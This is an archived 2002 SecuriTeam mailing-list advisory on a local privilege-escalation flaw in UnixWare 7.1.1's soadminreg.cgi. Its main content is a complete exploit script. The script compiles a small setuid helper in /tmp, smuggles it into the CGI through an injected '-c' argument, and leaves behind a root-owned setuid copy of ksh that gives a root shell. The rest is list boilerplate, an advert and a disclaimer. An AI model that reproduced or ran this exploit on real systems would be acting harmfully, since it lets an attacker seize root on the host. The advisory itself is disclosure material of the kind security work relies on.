

[EXPL] UnixWare 7.1.1 Soadminreg.cgi Local Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0120.html>

From: support@securiteam.com

Date: 01/25/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 25 Jan 2002 10:34:57 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

UnixWare 7.1.1 Soadminreg.cgi Local Exploit

SUMMARY

Soadminreg.cgi is used when changing of the hostname of UnixWare's operating system. The CGI is part of the UnixWare 7 Webtop package that is actually a web-based interface that allows a UnixWare 7 system to be accessed remotely over the company Intranet. A security vulnerability in the CGI has been found, the vulnerability allows a local attacker to gain root access to the UnixWare host.

DETAILS

Exploit:

```
#!/bin/sh
```

```
CC="gcc"
```

```
SCOADMIN=/opt/webtop/bin/i3un0212/cgi-bin/admin/soadminreg.cgi
```

```
#  
#  
#  
#
```

Securiteam: [EXPL] UnixWare 7.1.1 Scoadminreg.cgi Local Exploit

```
echo
echo "jGgM root exploit"
echo "http://www.netemperor.com/"
echo
echo "Mail: jggm@mail.com"
echo

if [ ! -x $SCOADMIN ]; then
    echo "$SCOADMIN file not found"
    exit 2;
fi

cat >/tmp/jggm.c <<_EOF

main()
{
    setuid(0);
    setgid(0);
    chown("/tmp/jGgM_Shell", 0, 0);
    chmod("/tmp/jGgM_Shell", 04755);
}
_EOF

cp /bin/ksh /tmp/jGgM_Shell
$CC -o /tmp/jggm /tmp/jggm.c

$SCOADMIN "-c /tmp/jggm;/tmp/jggm;"

rm -rf /tmp/jggm /tmp/jggm.c

/tmp/jGgM_Shell

# end of file..
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jggm@mail.com>> jGgM.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,

loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[\[NEWS\] BadBlue Contains Multiple Security Vulnerabilities](#)"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)